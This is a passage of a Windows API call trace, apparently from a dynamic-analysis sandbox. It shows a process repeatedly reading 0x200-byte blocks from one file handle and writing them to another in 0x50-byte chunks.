lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.025] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.025] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.025] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.025] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.025] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.025] GetFileType (hFile=0x90) returned 0x1 [0302.025] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.025] GetFileType (hFile=0x90) returned 0x1 [0302.025] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.025] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.025] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.025] GetFileType (hFile=0x90) returned 0x1 [0302.025] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.026] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.026] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.026] GetFileType (hFile=0x90) returned 0x1 [0302.026] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.026] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.026] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.026] GetFileType (hFile=0x90) returned 0x1 [0302.026] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.026] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.026] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.026] GetFileType (hFile=0x90) returned 0x1 [0302.026] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.026] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.026] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.026] GetFileType (hFile=0x90) returned 0x1 [0302.026] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.026] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.026] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.026] GetFileType (hFile=0x90) returned 0x1 [0302.026] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.026] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.026] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.027] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.027] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.027] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.027] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.027] GetFileType (hFile=0x90) returned 0x1 [0302.027] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.027] GetFileType (hFile=0x90) returned 0x1 [0302.027] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.027] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.027] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.027] GetFileType (hFile=0x90) returned 0x1 [0302.027] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.027] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.027] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.027] GetFileType (hFile=0x90) returned 0x1 [0302.027] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.027] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.027] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.027] GetFileType (hFile=0x90) returned 0x1 [0302.027] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.027] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.027] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.027] GetFileType (hFile=0x90) returned 0x1 [0302.027] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.027] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.028] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.028] GetFileType (hFile=0x90) returned 0x1 [0302.028] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.028] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.028] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.028] GetFileType (hFile=0x90) returned 0x1 [0302.028] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.028] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.028] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.028] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.028] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.028] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.028] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.028] GetFileType (hFile=0x90) returned 0x1 [0302.028] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.028] GetFileType (hFile=0x90) returned 0x1 [0302.028] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.028] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.028] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.028] GetFileType (hFile=0x90) returned 0x1 [0302.028] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.028] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.029] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.029] GetFileType (hFile=0x90) returned 0x1 [0302.029] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.029] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.029] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.029] GetFileType (hFile=0x90) returned 0x1 [0302.029] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.029] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.029] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.029] GetFileType (hFile=0x90) returned 0x1 [0302.029] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.029] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.029] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.029] GetFileType (hFile=0x90) returned 0x1 [0302.029] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.029] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.029] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.029] GetFileType (hFile=0x90) returned 0x1 [0302.029] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.029] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.030] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.030] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.030] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.030] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.030] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.030] GetFileType (hFile=0x90) returned 0x1 [0302.030] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.030] GetFileType (hFile=0x90) returned 0x1 [0302.030] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.030] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.030] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.030] GetFileType (hFile=0x90) returned 0x1 [0302.030] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.030] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.030] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.030] GetFileType (hFile=0x90) returned 0x1 [0302.030] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.030] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.030] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.030] GetFileType (hFile=0x90) returned 0x1 [0302.030] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.031] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.031] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.031] GetFileType (hFile=0x90) returned 0x1 [0302.031] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.031] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.031] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.031] GetFileType (hFile=0x90) returned 0x1 [0302.031] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.031] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.031] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.031] GetFileType (hFile=0x90) returned 0x1 [0302.031] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.031] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.031] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.031] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.031] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.031] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.031] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.031] GetFileType (hFile=0x90) returned 0x1 [0302.031] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.031] GetFileType (hFile=0x90) returned 0x1 [0302.031] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.031] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.032] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.032] GetFileType (hFile=0x90) returned 0x1 [0302.032] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.032] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.032] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.032] GetFileType (hFile=0x90) returned 0x1 [0302.032] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.032] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.032] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.032] GetFileType (hFile=0x90) returned 0x1 [0302.032] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.032] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.032] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.032] GetFileType (hFile=0x90) returned 0x1 [0302.032] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.032] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.032] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.032] GetFileType (hFile=0x90) returned 0x1 [0302.032] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.032] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.032] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.032] GetFileType (hFile=0x90) returned 0x1 [0302.032] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.032] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.032] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.033] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.033] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.033] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.033] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.033] GetFileType (hFile=0x90) returned 0x1 [0302.033] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.033] GetFileType (hFile=0x90) returned 0x1 [0302.033] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.033] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.033] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.033] GetFileType (hFile=0x90) returned 0x1 [0302.033] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.033] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.033] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.033] GetFileType (hFile=0x90) returned 0x1 [0302.033] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.033] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.033] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.033] GetFileType (hFile=0x90) returned 0x1 [0302.033] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.033] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.033] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.033] GetFileType (hFile=0x90) returned 0x1 [0302.034] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.034] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.034] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.034] GetFileType (hFile=0x90) returned 0x1 [0302.034] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.034] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.034] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.034] GetFileType (hFile=0x90) returned 0x1 [0302.034] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.034] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.034] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.034] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.034] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.034] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.034] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.034] GetFileType (hFile=0x90) returned 0x1 [0302.035] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.035] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.035] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.035] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.035] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.035] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.035] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.035] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.035] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.035] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.035] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.036] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.036] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.036] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.036] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.036] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.036] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.036] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: 